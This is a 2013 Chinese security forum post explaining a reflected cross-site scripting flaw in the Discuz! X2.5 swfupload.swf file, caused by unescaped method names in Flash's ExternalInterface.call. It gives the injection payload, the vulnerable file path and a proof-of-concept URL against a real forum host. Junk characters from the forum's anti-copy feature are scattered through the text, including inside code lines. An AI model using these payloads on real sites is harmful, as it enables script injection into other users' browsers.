找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1870|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
上回我们说
( g! C: U9 Y$ M" _/ f7 C. i$ ~
) B- `' {4 r& y3 x! Xflash.external.ExternalInterface.call($methodName, $parameter): q  [- h7 g  v
在浏览器中执行的是' x# J; Q/ w1 M' y# Y8 D# X& y  @2 Z; |" x" A
: w9 H+ v3 t, Z# e. v6 ]" x, l
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}* f' S3 M5 r' b' _% _
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
; T3 A% J, U  Y* G1 D0 t6 M6 `4 [. q" y( ?  z' d, H
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
$ g# x. b) t- X; T$methodName = a())}catch(e){alert(/xss/)}//  g4 E6 I) y- P6 w
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
1 ]2 `! R' I1 }; `. ?* F) }6 x6 U
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }! x: {8 Y7 Z2 o' m
8 b8 @0 i$ Q5 S. H- t
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
3 R2 T1 Q9 ]  w: X7 Q' R- J杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
# a  F/ b6 p# p5 V# J# P, s$ G) _5 ?- |* }% P
& v6 r3 _9 l3 {  `
( ~% b1 n+ u& @/ N
漏洞文件:upload\static\image\common\swfupload.swf
8 G% @+ u' n' g: y8 M. c# t' y/ r+ m5 X: A6 J, m
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf: g. `0 d7 J3 N! h5 I
$ n2 I, Y; f# C, z, M0 T

1 z; V$ ^- M0 ^9 O) o* c漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//% q! |2 F0 u7 E, L4 w- f) v

  `+ g$ r. S+ f; K5 p0 |4 M9 D2 [! X' l, O, R4 h8 ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表